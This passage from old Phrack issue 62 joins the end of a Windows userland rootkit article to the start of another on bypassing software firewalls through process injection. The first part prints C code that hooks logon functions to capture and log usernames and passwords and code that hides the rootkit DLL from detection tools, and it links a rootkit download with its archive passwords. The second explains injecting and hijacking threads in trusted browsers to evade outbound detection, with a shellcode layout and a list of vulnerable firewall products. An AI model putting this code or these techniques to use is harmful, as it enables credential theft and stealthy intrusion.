dwLogonFlags,lpApplicationName,lpCommandLine,
dwCreationFlags,lpEnvironment,lpCurrentDirectory,
lpStartupInfo,lpProcessInfo);
/* Inject the created process if its name doesn't begin by
RTK_FILE_CHAR (protected process) */
/* Stripped [...] */
/* Log the information for further use */
memset(line, 0, 1024);
if(bret)
{
sprintf(line, "Domain '%S' - Login '%S' - Password '%S'
LOGON SUCCESS", lpDomain, lpUsername, lpPassword);
}
else
{
sprintf(line, "Domain '%S' - Login '%S' - Password '%S'
LOGON FAILED", lpDomain, lpUsername, lpPassword);
}
/* Log the line */
Output2LogFile((char*)line);
return bret;
}
---------------------- END EXAMPLE 13 -----------------------------
Under windows XP, explorer.exe offers a GUI to perform logon operations
from the desktop. This relies on LogonUser that may be replaced as below.
We're interested only in lpszUsername, lpszDomain and lpszPassword.
---------------------- EXAMPLE 14 -----------------------------
/* MyLogonUser : collects logins/passwords employed to log on from the
local station */
BOOL WINAPI MyLogonUser(LPTSTR lpszUsername, LPTSTR lpszDomain, LPTSTR
lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken)
{
char buf[1024]; /* Buffer used to set up log lines */
/* Set up buffer */
memset(buf, 0, 1024);
sprintf(buf, "Login '%s' / passwd '%s' / domain '%'\n",
lpszUsername,
lpszPassword,
lpszDomain);
/* Log to disk */
Output2LogFile((char*)buf);
/* Perform LogonUser call */
return fLogonUser(lpszUsername, lpszDomain, lpszPassword,
dwLogonType, dwLogonProvider, phToken);
}
---------------------- END EXAMPLE 14 -----------------------------
The grabbed data are sent to a log file at user profile's root and may be
encrypted using a simple 1 byte XOR key.
-------[ 4.7. Module stealth
As soon as it is loaded into a process, the rootkit hides its DLL.
Therefore, if the system does not hook LdrLoadDll or its equivalent at
kernel level, it appears that the rookit was never injected into
processes. The technique used below is very efficient against all programs
that rely on the windows API for enumerating modules. Due to the fact that
EnumProcessModules/Module32First/Module32Next/... depend on NtQuerySystem
Information, and because this technique foils the manner this API
retrieves information, there's no way to be detected by this intermediary.
This defeats programs enumerating processes' modules such as ListDlls,
ProcessExplorer (See [LISTDLLS] and [PROCEXP]), and VICE rootkit detector.
[VICE]
The deception is possible in ring 3 since the kernel maintains a list of
each loaded DLL for a given process inside its memory space, in userland.
Therefore a process may affect himself and overwrite parts of its memory
in order to hide one of its module. These data structures are of course
undocumented but can be recovered by using the Process Environment Block
(PEB), located at FS:0x30 inside each process. The function below returns
the address of the PEB for the current process.
---------------------- EXAMPLE 15 -----------------------------
DWORD GetPEB()
{
DWORD* dwPebBase = NULL;
/* Return PEB address for current process
address is located at FS:0x30 */
__asm
{
push eax
mov eax, FS:[0x30]
mov [dwPebBase], eax
pop eax
}
return (DWORD)dwPebBase;
}
---------------------- END EXAMPLE 15 -----------------------------
The role of the PEB is to gather frequently accessed information for a
process as follows. At address FS:0x30 (or 0x7FFDF000) stands the
following members of the [PEB].
/* located at 0x7FFDF000 */
typedef struct _PEB
{
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
[...]
ULONG SessionId;
} PEB, *PPEB;
The interesting member in our case is PPEB_LDR_DATA LoaderData that
contains information filled by the loader at startup, and then when
happens a DLL load/unload.
typedef struct _PEB_LDR_DATA
{
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
The PEB_LDR_DATA structure contains three LIST_ENTRY that are part of doubly
linked lists gathering information on loaded DLL in the current process.
InLoadOrderModuleList sorts modules in load order, InMemoryOrderModuleList
in memory order, and InInitializationOrderModuleList keeps track of their
load order since process start.
These doubly linked list contains pointers to LDR_MODULE inside the parent
structure for next and previous module.
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;
In fact, this is not exactly true since LIST_ENTRY have a special
behavior. Indeed, the base address of the surrounding object is computed
by subtracting the offset of the LIST_ENTRY member from it's address
(&LIST_ENTRY), because LIST_ENTRY Flink and Blink members always point to
the another LIST_ENTRY inside the list, not to the owner of the list node.
This makes it possible to interlink objects in multiple lists without any
interference as explains Sven B. Schreiber in Undocumented Windows 2000
Secrets. To access InLoadOrderModuleList elements, we don't have to bother
about offsets since it is the first element of the LDR_MODULE structure so
it just needs to be casted to get a LDR_MODULE from a LIST_ENTRY. In the
case of InMemoryOrderModuleList we'll have to subtract sizeof(LIST_ENTRY).
Similarly, to access the LDR_MODULE from InInitializationOrderModuleList
we just subtract 2*sizeof(LIST_ENTRY).
The following sample demonstrates how to walk one of these lists and throw
a module away according to its name (szDllToStrip).
---------------------- EXAMPLE 16 -----------------------------
/* Walks one of the three modules double linked lists referenced by the
PEB (error check stripped)
ModuleListType is an internal flag to determine on which list to operate :
LOAD_ORDER_TYPE <---> InLoadOrderModuleList
MEM_ORDER_TYPE <---> InMemoryOrderModuleList
INIT_ORDER_TYPE <---> InInitializationOrderModuleList
*/
int WalkModuleList(char ModuleListType, char *szDllToStrip)
{
int i; /* internal counter */
DWORD PebBaseAddr, dwOffset=0;
/* Module list head and iterating pointer */
PLIST_ENTRY pUserModuleListHead, pUserModuleListPtr;
/* PEB->PEB_LDR_DATA*/
PPEB_LDR_DATA pLdrData;
/* Module(s) name in UNICODE/AINSI*/
PUNICODE_STRING pImageName;
char szImageName[BUFMAXLEN];
/* First, get Process Environment Block */
PebBaseAddr = GetPEB(0);
/* Compute PEB->PEB_LDR_DATA */
pLdrData=(PPEB_LDR_DATA)(DWORD *)(*(DWORD *)(PebBaseAddr +
PEB_LDR_DATA_OFFSET));
/* Init linked list head and offset in LDR_MODULE structure */
if(ModuleListType == LOAD_ORDER_TYPE)
{
/* InLoadOrderModuleList */
pUserModuleListHead = pUserModuleListPtr =
(PLIST_ENTRY)(&(pLdrData->ModuleListLoadOrder));
dwOffset = 0x0;
} else if(ModuleListType == MEM_ORDER_TYPE)
{
/* InMemoryOrderModuleList */
pUserModuleListHead = pUserModuleListPtr =
(PLIST_ENTRY)(&(pLdrData->ModuleListMemoryOrder));
dwOffset = 0x08;
} else if(ModuleListType == INIT_ORDER_TYPE)
{
/* InInitializationOrderModuleList */
pUserModuleListHead = pUserModuleListPtr =
(PLIST_ENTRY)(&(pLdrData->ModuleListInitOrder));
dwOffset = 0x10;
}
/* Now walk the selected list */
do
{
/* Jump to next LDR_MODULE structure */
pUserModuleListPtr = pUserModuleListPtr->Flink;
pImageName = (PUNICODE_STRING)(
((DWORD)(pUserModuleListPtr)) +
(LDR_DATA_PATHFILENAME_OFFSET-dwOffset));
/* Decode unicode string to lower case on the fly */
for(i=0; i < (pImageName->Length)/2 && i<BUFMAXLEN;i++)
szImageName[i] = LOWCASE(*( (pImageName->Buffer)+(i) ));
/* Null terminated string */
szImageName[i] = '\0';
/* Check if it's target DLL */
if( strstr((char*)szImageName, szDllToStrip) != 0 )
{
/* Hide this dll : throw this module away (out of
the double linked list)
(pUserModuleListPtr->Blink)->Flink =
(pUserModuleListPtr->Flink);
(pUserModuleListPtr->Flink)->Blink =
(pUserModuleListPtr->Blink);
/* Here we may also overwrite memory to prevent
recovering (paranoid only ;p) */
}
} while(pUserModuleListPtr->Flink != pUserModuleListHead);
return FUNC_SUCCESS;
}
---------------------- END EXAMPLE 16 -----------------------------
To process the three linked lists, the rootkit calls the HideDll function
below.
---------------------- EXAMPLE 17 -----------------------------
int HideDll(char *szDllName)
{
return ( WalkModuleList(LOAD_ORDER_TYPE, szDllName)
&& WalkModuleList(MEM_ORDER_TYPE, szDllName)
&& WalkModuleList(INIT_ORDER_TYPE, szDllName) );
}
---------------------- END EXAMPLE 17 -----------------------------
I never saw this method employed to hide a module but instead to recover
the base address of a DLL in elaborated shellcodes [PEBSHLCDE].
To end with this technique, I'll say that it is from far efficient against
ring 3 programs but becomes a little bit ineffective against a personal
firewall acting at kernel level, such as Sygate Personal Firewall. This
one cannot be defeated using the presented method and analysis of its
source code shows as it sets hooks in the kernel syscall table, thereby
being informed as soon as a DLL is loaded into any process and subsequent
hiding is useless. In a word, personal firewalls are the worst enemies of
userland rootkits.
-------[ 5. Ending
-------[ 5.1. Conclusion
The mechanisms presented in this paper are the result of long research and
experimentations. It shows up that ring 3 rootkit are an effective threat
for nowadays computer systems but may be defeated by a clever analysis of
the weakpoints they target. So this type of rootkit isn't perfect as data
may still be detected, even though they're from far more difficult to
notice. Keep in mind that the most important thing is not to cause
suspicion, and therefore not be detected. In a word, ring 3 rootkits are
perfect meantime to get administrative privilege on the local machine and
install a most adapted ring 0 rootkit that will be more suitable to reach
the maximum stealth.
-------[ 5.2. Greets
"If I have seen further it is by standing on the shoulders of giants."
This quotation from Isaac Newton (1676) perfectly describes the ways
things work. Therefore, my thanks first go to all authors that make the
internet a place of free information and exchanges. Without them you would
probably not be reading these lines. This is especially true for Ivo
Ivanov - thanks to you I discovered the world of API hooking -, Crazylord
who provided me precious information to set up my first device driver,
Holy_Father and Eclips for considering some questions about userland
take over. Added to that, I'd like to thank my friends and revisers that
helped me set up a more accessible paper. I hope this goal is achieved.
Finally, I salute my friends and teammates; you know who you are.
Special thanks to my buddy and personal unix consultant Artyc.
That's all folks!
"I tried so hard, and gone so far. But in the end, it doesnt even
matter..."
Kdm
Kodmaker@syshell.org
http://www.syshell.org/
-------[ 6. References
- [1]
http://www.syshell.org/?r=../phrack62/NTILLUSION_fullpack.txt
- [NTillusion rootkit]
http://www.syshell.org/?r=../phrack62/NTIllusion.rar
Login/Pass : phrackreaders/ph4e#ho5
Rar password : 0wnd4wurld
- [HIDINGEN]
http://rootkit.host.sk/knowhow/hidingen.txt
- [HOOKS] A HowTo for setting system wide hooks
http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5685/
- [MSDN_HOOKS]
http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/WinUI/
WindowsUserInterface/Windowing/Hooks.asp
- [3WAYS] Three ways to inject your code into another process
http://www.codeguru.com/Cpp/W-P/system/processesmodules/article.php/c5767/
- [LSD] Win32 assembly components
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
- [THCONTEXT] GetThreadContext remote code triggering proof of concept
http://www.syshell.org/?r=Rootkit/Code_Injection/GetSetThreadContex/kCtxIn
ject/
- [REMOTETH]
http://win32.mvps.org/processes/remthread.html
- [PE]
http://www.syshell.org/?r=Rootkit/PE/Doc/MattPietrek
- [IVANOV]
http://www.codeguru.com/Cpp/W-P/system/misc/article.php/c5667/
- [UNLEASHED]
http://www.codeproject.com/system/api_monitoring_unleashed.asp
- [DETOURS] Detours win32 functions interception
http://research.microsoft.com/sn/detours/
[HKDEF_RTK] Hacker Defender rootkit
http://rootkit.host.sk/
- [HKDEF] Hacker Defender (Holy_Father 2002)
http://rootkit.host.sk/knowhow/hookingen.txt
- [ZOMBIE2] Entry point rewriting
http://www.syshell.org/?r=Rootkit/Api_Hijack/Code/EntryPointRewritting/
- [EXPLORIAT]
http://www.syshell.org/?r=Rootkit/Snippets/ExplorerIAT2k.log
- [MSDN] Microsoft Developers Network
http://msdn.microsoft.com/library/
- [NtQuerySystemInformation]
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/sysinfo/base/ntquerysysteminformation.asp
- [GETTCP] GetTcpTable
http://msdn.microsoft.com/library/default.asp?url=/library/en-
us/iphlp/iphlp/gettcptable.asp
- [NETSTATP] Netstat like
http://www.sysinternals.com/files/netstatp.zip
- [kSENTINEL] POP3 passwords grabber
http://www.syshell.org/?r=Rootkit/Releases/POP3_Stealer/kSentinel/kSentine
l.c
- [FPORT] Network Tool
http://foundstone.com/resources/freetools/fport.zip
- [TCPVIEW] Network Tool
http://www.sysinternals.com/ntw2k/source/tcpview.shtml
- [LISTDLLS] DLL listing tool
http://www.sysinternals.com/ntw2k/freeware/listdlls.shtml
- [PROCEXP] Process Explorer
http://www.sysinternals.com/ntw2k/freeware/procexp.shtml
- [VICE] Catch hookers!
http://www.rootkit.com
- [PEB]
http://undocumented.ntinternals.net/UserMode/Undocumented%20Functions/NT%2
0Objects/Process/PEB.html
- [PEBSHLCDE]
http://madchat.org/coding/w32nt.rev/RW32GS.txt
|=[ EOF ]=---------------------------------------------------------------=|
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10
|=--=[ Using Process Infection to Bypass Windows Software Firewalls ]=--=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ rattle ]=--------------------------------=|
-[0x00] :: Table Of Contents ---------------------------------------------
[0x01] introduction
[0x02] how software firewalls work
[0x03] process Infection without external .dll
[0x04] problems of implementation
[0x05] how to implement it
[0x06] limits of this implementation
[0x07] workaround: another infection method
[0x08] conclusion
[0x09] last words
[0x0A] references
[0x0B] injector source code
[0x0C] Tiny bypass source code
[0x0D] binaries (base64)
-[0x01] :: introduction --------------------------------------------------
This entire document refers to a feature of software firewalls
available for Windows OS, which is called "outbound detection".
This feature has nothing to do with the original idea of a
firewall, blocking incomming packets from the net: The outbound
detection mechanism is ment to protect the user from malicious
programs that run on his own computer - programs attempting to
communicate with a remote host on the Internet and thereby
leaking sensible information. In general, the outbound detection
controls the communication of local applications with the
Internet.
In a world with an increasing number of trojan horses, worms
and virii spreading in the wild, this is actually a very handy
feature and certainly, it is of good use. However, ever since
I know about software firewalls, I have been wondering whether
they could actually provide a certain level of security at all:
After all, they are just software supposed protect you against
other software, and this sounds like bad idea to me.
To make a long story short, this outbound detection can be
bypassed, and that's what will be discussed in this paper.
I moreover believe that if it is possible to bypass this one
restriction, it is somehow possible to bypass other restrictions
as well. Personal firewalls are software, trying to control
another piece of software. It should in any case be possible
to turn this around by 180 degrees, and create a piece of
software that controls the software firewall.
Also, how to achieve this in practice is part of the discussion
that will follow: I will not just keep on talking about abstract
theory. It will be explained and illustrated with sample source
code how to bypass a software firewall by injecting code to a
trusted process. It might be interesting to you that the method
of runtime process infection that will be presented and explained
does not require an external DLL - the bypass can be performed
by a stand-alone and tiny executable.
Thus, this paper is also about coding, especially Win32 coding.
To understand the sample code, you should be familiar with
Windows, the Win32 API and basic x86 Assembler. It would also be
good to know something about the PE format and related things,
but it is not necessary, as far as I can see. I will try to
explain everything else as precisely as possible.
Note: If you find numbers enclosed in normal brackets within
the document, these numbers are references to further sources.
See [0x0A] for more details.
-[0x02] :: how software firewalls work -----------------------------------
Of course, I can only speak about the software firewalls I have
seen and tested so far, but I am sure that these applications
are among the most widely used ones. Since all of them work in a
very similar way, I assume that the concept is a general concept
of software firewalls.
Almost every modern software firewall provides features that
simulate the behaviour of hardware firewalls by allowing the
user to block certain ports. I have not had a close look on
these features and once more I want to emphasize that breaking
these restrictions is outside the scope of this paper.
Another important feature of most personal firewalls is the
concept of giving privileges and different levels of trust to
different processes that run on the local machine to provide a
measure of outbound detection. Once a certain executable creates
a process attempting to access the network, the executable file
is checksummed by the software firewall and the user is prompted
whether or not he wants to trust the respective process.
To perform this task, the software firewall is most probably
installing kernel mode drivers and hooks to monitor and intercept
calls to low level networking routines provided by the Windows OS
core. Appropriately, the user can trust a process to connect() to
another host on the Internet, to listen() for connections or to
perform any other familiar networking task. The main point is: As
soon as the user gives trust to an executable, he also gives
trust to any process that has been created from that executable.
However, once we change the executable, its checksum would no
longer match and the firewall would be alerted.
So, we know that the firewall trusts a certain process as long as
the executable that created it remains the same. We also know that
in most cases, a user will trust his webbrowser and his email
client.
-[0x03] :: process Infection without external .dll -----------------------
The software firewall will only calculate and analyze the checksum
for an executable upon process creation. After the process has
been loaded into memory, it is assumed to remain the same until it
terminates.
And since I have already spoken about runtime process infection,
you certainly have guessed what will follow. If we cannot alter
the executable, we will directly go for the process and inject
our code to its memory, run it from there and bypass the firewall
restriction.
If this was a bit too fast for you, no problem. A process is
loaded into random access memory (RAM) by the Windows OS as soon
as a binary, executable file is executed. Simplified, a process
is a chunk of binary data that has been placed at a certain
address in memory. In fact, there is more to it. Windows does a
lot more than just writing binary data to some place in memory.
For making the following considerations, none of that should
bother you, though.
For all of you who are already familiar with means of runtime
process infection - I really dislike DLL injection for this
purpose, simply because there is definitely no option that could
be considered less elegant or less stealthy.
In practice, DLL injection means that the executable that
performs the bypass somehow carries the additional DLL it
requires. Not only does this heaviely increase the size of the
entire code, but this DLL also has to be written to HD on the
affected system to perform the bypass. And to be honest - if
you are really going to write some sort of program that needs
a working software firewall bypass, you exactly want to avoid
this sort of flaws. Therefore, the presented method of runtime
process infection will work completely without the need of any
external DLL and is written in pure x86 Assembly.
To sum it all up: All that is important to us now is the ability
to get access to a process' memory, copy our own code into that
memory and execute the code remotely in the context of that
process.
Sounds hard? Not at all. If you have a well-founded knowledge of
the Win32 API, you will also know that Windows gives a programmer
everything he needs to perform such a task. The most important
API call that comes to mind probably is CreateRemoteThread().
Quoting MSDN (1):
The CreateRemoteThread function creates a thread that
runs in the address space of another process.
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
DWORD dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
Great, we can execute code at a certain memory address inside
another process and we can even pass one DWORD of information as
a parameter to it. Moreover, we will need the following 2 API
calls:
VirtualAllocEx()
WriteProcessMemory()
they give us the power to inject our own arbitrary code to the
address space of another process - and once it is there, we will
create a thread remotely to execute it.
To sum everything up: We will create a binary executable that
carries the injection code as well as the code that has to be
injected in order to bypass the software firewall. Or, speaking
in high-level programming terms: We will create an exe file that
holds two functions, one to inject code to a trusted process
and one function to be injected.
-[0x04] :: problems of this implementation -------------------------------
It all sounds pretty easy now, but it actually is not. For
instance, you will barely be able to write an application in C
that properly injects another (static) C function to a remote
process. In fact, I can almost guarantee you that the remote
process will crash. Although you can call the relevant API calls
from C, there are much more underlying problems with using a
high level language for this purpose. The essence of all these
problems can be summed up as follows: compilers produce ASM code
that uses hardcoded offsets. A simple example: Whenever you use
a constant C string, this C string will be stored at a certain
position within the memory of your resulting executable, and any
reference to it will be hardcoded. This means, when your process
needs to pass the address of that string to a function, the
address will be completely hardcoded in the binary code of your
executable.
Consider:
void main() {
printf("Hello World");
return 0;
}
Assume that the string "Hello World" is stored at offset 0x28048
inside your executable. Moreover, the executable is known to
load at a base address of 0x00400000. In this case, the binary
code of your compiled and linked executable will somewhere refer
to the address 0x00428048 directly.
A disassembly of such a sample application, compiled with Visual
C++ 6, looks like this:
00401597 ...
00401598 push 0x00428048 ; the hello world string
0040159D call 0x004051e0 ; address of printf
0040159E ...
What is the problem with such a hardcoded address? If you stay
inside your own address space, there is no problem. However ...
once you move that code to another address space, all those
memory addresses will point to entirely different things. The
hello world string in my example is more than 0x20000 = 131072
bytes away from the actual program code. So, if you inject that
code to another process space, you would have to make sure that
at 0x00428048, there is a valid C string ... and even if there
was something like a C string, it would certainly not be
"Hello World". I guess you get the point.
This is just a simple example and does not even involve all the
problems that can occur. However, also the addresses of all
function calls are hardcoded, like the address of the printf
function in our sample. In another process space, these
functions might be somewhere else or they could even be missing
completely - and this leads to the most weird errors that you
can imagine. The only way to make sure that all the addresses
are correct and that every single CPU instruction fits, we have
to write the injected code in ASM.
Note: There are several working implementations for an outbound
detection bypass for software firewalls on the net using a
dynamic link library injection. This means, the implementation
itself consists of one executable and a DLL. The executable
forces a trusted process to load the DLL, and once it has been
loaded into the address space of this remote process, the DLL
itself performs any arbitrary networking task. This way to bypass
the detection works very well and it can be implemented in a high
level language easiely, but I dislike the dependency on an
external DLL, and therefore I decided to code a solution with one
single stand-alone executable that does the entire injection by
itself. Refer to (2) for an example of a DLL injection bypass.
Also, LSADUMP2 (3) uses exactly the same measure to grab
the LSA secrets from LSASS.EXE and it is written in C.
-[0x05] :: how to implement it -------------------------------------------
Until now, everything is just theory. In practice, you will
always encounter all kinds of problems when writing code like
this. Furthermore, you will have to deal with detail questions
that have only partially to do with the main problem. Thus,
let us leave the abstract part behind and think about how to
write some working code.
Note: I strongly recommend you to browse the source code in
[A] while reading this part, and it would most definitely be a
good idea to have a look at it before reading [0x0B].
First of all, we want to avoid as much hardcoded elements as
possible. And the first thing we need is the file path to the
user's default browser. Rather than generally refering to
"C:\Program Files\Internet Explorer\iexplore.exe", we will
query the registry key at "HKCR\htmlfile\shell\open\command".
Ok, this will be rather easy, I assume you know how to query
the registry. The next thing to do is calling CreateProcess().
The wShowWindow value of the STARTUP_INFO structure passed to
the function should be something like SW_HIDE in order to keep
the browser window hidden.
Note: If you want to make entirely sure that no window is
displayed on the user's screen, you should put more effort
into this. You could, for instance, install a hook to keep all
windows hidden that are created by the process or do similar
things. I have only tested my example with Internet Explorer
and the SW_HIDE trick works well with it. In fact, it should
work with most applications that have a more or less simple
graphical user interface.
To ensure that the process has already loaded the most
essential libraries and has reached a generally stable state,
we use the WaitForInputIdle() call to give the process some
time for intialization.
So far, so good - now we proceed by calling VirtualAllocEx()
to allocate memory within the created process and with
WriteProcessMemory(), we copy our networking code. Finally,
we use CreateRemoteThread() to run that code and then, we only
have to wait until the thread terminates. All in all, the
injection itself is not all that hard to perform.
The function that will be injected can receive a single
argument, one double word. In the example that will be
presented in [0x0B], the injected procedure connects to
www.phrack.org on port 80 and sends a simple HTTP GET request.
After receiving the header, it displays it in a message box.
Since this is just a very basic example of a working firewall
bypass code, our injected procedure will do everything on its
own and does not need any further information.
However, we will still use the parameter to pass a 32 bit
value to our injected procedure: its own "base address". Thus,
the injected code knows at which memory address it has been
placed, in the conetxt of the remote process. This is very
important as we cannot directly read from the EIP register
and because our injected code will sometimes have to refer to
memory addresses of data structures inside the injected code
itself.
Once injected and placed within the remote process, the
injected code basically knows nothing. The first important
task is finding the kernel32.dll base address in the context
of the remote process and from there, get the address of the
GetProcAddress function to load everything else we need. I
will not explain in detail how these values are retrieved,
the entire topic cannot be covered by this paper. If you are
interested in details, I recommend the paper about Win32
assembly components by the Last Stage of Delirium research
group (4). I used large parts of their write-up for the
code that will be described in the following paragraphs.
In simple terms, we retrieve the kernel32 base address from
the Process Environment Block (PEB) structure which itself
can be found inside the Thread Environment Block (TEB). The
offset of the TEB is always stored within the FS register,
thus we can easiely get the PEB offset as well. And since
we know where kernel32.dll has been loaded, we just need to
loop through its exports section to find the address of
GetProcAddress(). If you are not familiar with the PE format,
don't worry.
A dynamic link library contains a so-called exports section.
Within this section, the offsets of all exported functions
are assigned to human-readable names (strings). In fact,
there are two arrays inside this section that interest us.
There are actually more than 2 arrays inside the exports
section, but we will only use these two lists. For the rest
of this paper, I will treat the terms "list" and "array"
equally, the formal difference is of no importance at this
level of programming. One array is a list of standard,
null-terminated C-strings. They contain the function names.
The second list holds the function entry points (the
offsets).
We will do something very similar to what GetProcAddress()
itself does: We will look for "GetProcAddress" in the first
list and find the function's offset within the second array
this way.
Unfortunately, Microsoft came up with an idea for their DLL
exports that makes everything much more complicated. This
idea is named "forwarders" and basically means that one DLL
can forward the export of a function to another DLL. Instead
of pointing to the offset of a function's code inside the DLL,
the offset from the second array may also point to a null-
terminated string. For instance, the function HeapAlloc() from
kernel32.dll is forwarded to the RtlAllocateHeap function in
ntdll.dll. This means that the alleged offset of HeapAlloc()
in kernel32.dll will not be the offset of a function that has
been implemented in kernel32.dll, but it will actually be the
offset of a string that has been placed inside kernel32.dll.
This particular string is "NTDLL.RtlAllocateHeap".
After a while, I could figure out that this forwarder-string
is placed immediately after the function's name in array #1.
Thus, you will find this chunk of data somewhere inside
kernel32.dll:
48 65 61 70 41 6C 6C 6F HeapAllo
63 00 4E 54 44 4C 4C 2E c.NTDLL.
52 74 6C 41 6C 6C 6F 63 RtlAlloc
61 74 65 48 65 61 70 00 ateHeap.
= "HeapAlloc\0NTDLL.RtlAllocateHeap\0"
This is, of course, a bit confusing as there are now more null-
terminated strings in the first list than offsets in the second
list - every forwarder seems like a function name itself.
However, bearing this in mind, we can easiely take care of the
forwarders in our code.
To identify the "GetProcAddress" string, I also make use of a
hash function for short strings which is presented by LSD group
in their write-up (4). The hash function looks like this in C:
unsigned long hash(const char* strData) {
unsigned long hash = 0;
char* tChar = (char*) strData;
while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
return hash;
}
The calculated hash for "GetProcAddr" is, 0x099C95590 and we
will search for a string in the exports section of kernel32.dll
that matches this string. Once we have the address of
GetProcAddress() and the base address of kernel32, we can
easiely load all other API calls and libraries we need. From
here, everything left to do is loading ws2_32.dll and using the
socket system calls from that library to do whatever we want.
Note: I'd suggest to read [0x0B] now.
-[0x06] :: limits of this implementation ---------------------------------
The sample code presented in this little paper will give you a
tiny executable that runs in RING3. I am certain that most
software firewalls contain kernel mode drivers with the ability
to perform more powerful tasks than this injector executable.
Therefore, the capabilities of the bypass code are obviously
limited. I have tested the bypass against several software
firewalls and got the following results:
Zone Alarm 4 vulnerable
Zone Alarm Pro 4 vulnerable
Sygate Pro 5.5 vulnerable
BlackIce 3.6 vulnerable
Tiny 5.0 immune
Tiny alerts the user that the injector executable spawns the
browser process, trying to access the network this way. It looks
like Tiny simply acts exactly like all the other software
firewalls do, but it is just more careful. Tiny also hooks API
calls like CreateProcess() and CreateRemoteThread() - thus, it
can protect its users from this kind of bypass.
Anyway, by the test results I obtained, I was even more
confirmed that software firewalls act as kernel mode drivers,
hooking API calls to monitor networking activity.
Thus, I have not presented a firewall bypass that works in 100%
of all possible cases. It is just an example, a proof for the
general possibility to perform a bypass.
-[0x07] :: workaround: another infection method --------------------------
Phrack Staff suggested to present a workaround for the problem
with Tiny by infecting an already running, trusted process.
I was certain that this would not be the only thing to take
care of, since Tiny would most likely be hooking our best friend,
CreateRemoteThread(). Unfortunately, I actually figured out that
I had been right, and merely infecting an already running
process did not work against Tiny.
However, there are other ways to force execution of our own
injected code, and I will briefly explain my workaround for
those of you who are interested. All I am trying to prove here
is that you can outsmart any software firewall if you put some
effort into coding an appropriate bypass.
The essential API calls we will need are GetThreadContext() and
appropriately, SetThreadContext(). These two briefly documented
functions allow you to modify the CONTEXT of a thread. What is
the CONTEXT of a thread? The CONTEXT structure contains the
current value of all CPU registers in the context of a certain
thread. Hence, with the two API calls mentioned above, you can
retrieve these values and, more importantly, apply new values
to each CPU register in the thread's context as well. Of high
interest to us is the EIP register, the instruction pointer for
a thread.
First of all, we will simply find an already running, trusted
process. Then, as always, we write our code to its memory using
the methods already discussed before. This time, however, we
will not create a new thread that starts at the address of our
injected code, we will rather hijack the primary thread of the
trusted process by changing its instruction pointer to the
address of our own code.
That's the essential theory behind this second bypass, at least.
In practice, we will proceed more cautiously to be as stealthy
as possible. First of all, we will not simply write the injection
function to the running process, but several other ASM codes as
well, in order to return to the original context of the hijacked
thread once our injected code has finished its work. As you can
see from the ASM source code in [0x0C], we want to copy a chunk
of shellcode to the process that looks like this in a debugger:
<base + 0x00> PUSHAD ; safe all registers
<base + 0x01> PUSHFD ; safe all flags
<base + 0x02> PUSH <base + 0x13> ; first argument: own address
<base + 0x07> CALL <base + 0x13> ; call the injected code
<base + 0x0C> POPFD ; restore flags
<base + 0x0D> POPAD ; restore registers
<base + 0x0E> JMP <orignal EIP> ; "restore" original context
<base + 0x13> ... ; inject function starts here
Remember, this code is being injected at a memory offset very
far away from the original context of the thread. That's why
we will need a 4 byte - relative address for the JMP.
All in all, this is an easy and simple solution to avoid that
our trusted process just crashes after the injected code has
run. Moreover, I decided to use an event object that becomes
signaled by the injected code once the HTTP request has been
performed successfully. This way, the injector executable
itself is informed once the injected routine has finished its
job. We can then deallocate the remote memory and perform a
general cleanup. Stealthieness is everything.
I should say that [0x0C] is a bit more fragile and less reliable
than the first bypass shown in [0x0B]. However, this second one
will definitely work against all tested firewalls and most
probably also against others. Nevertheless, you should bear in
mind that it assumes Internet Explorer to be a trusted process
without looking up anything in the registry or elsewhere.
Furthermore, I only used this second bypass together with a
running instance of Internet Explorer, other applications might
require you not to hijack the primary thread, but another one.
The primary thread is usually a safe bet as we can assume that
it does not block or idle at the moment of infection. However,
it could theoretically also happen that the program's interface
suddenly freezes because the injected code is running rather
than the code that was intended to run. With this very sample
program and internet explorer, I did not encounter such
problems, though. It also works with "OUTLOOK.EXE" and others,
so I think it can be considered a good and stable approach.
-[0x08] :: conclusion ----------------------------------------------------
I feel that I can be satisfied with the test results I obtained.
Although the injector executable is generally inferior to a
kernel mode software firewall, it could easiely trick 80% of the
most popular software firewall products.
My second bypass even works against all of them, and I am as sure
as I can be that an appropriate bypass can actually be coded for
every single software firewall. Both of the sample codes merely
send a simple HTTP request, but it would actually be quite easy
to have them perform any other networking task. For instance,
sending an email with sensitive information would work exactly
the same way. The injected code would just have to be more
sophisticated or rather, larger than the sample provided here.
Bearing in mind that I achieved this with a 5k user-mode
application, I am certain that it would be even more easy to
bypass any software firewall with an appropriate piece of code
running in RING0, eventually hooking low level calls itself.
Who knows, perhaps this technique is already being used by
people who did the same sort of research. The overall conclusion
is: software firewalls are insecure. And I am very much at ease
with this generalization: The concept of a software firewall,
not the implementation, is the main problem.
Software can not protect you from other software without being
at constant risk to be tricked by another piece of software
again.
Why is this a risk? This is in fact a huge risk because software
firewalls ARE being used on Windows Workstations widely. Within
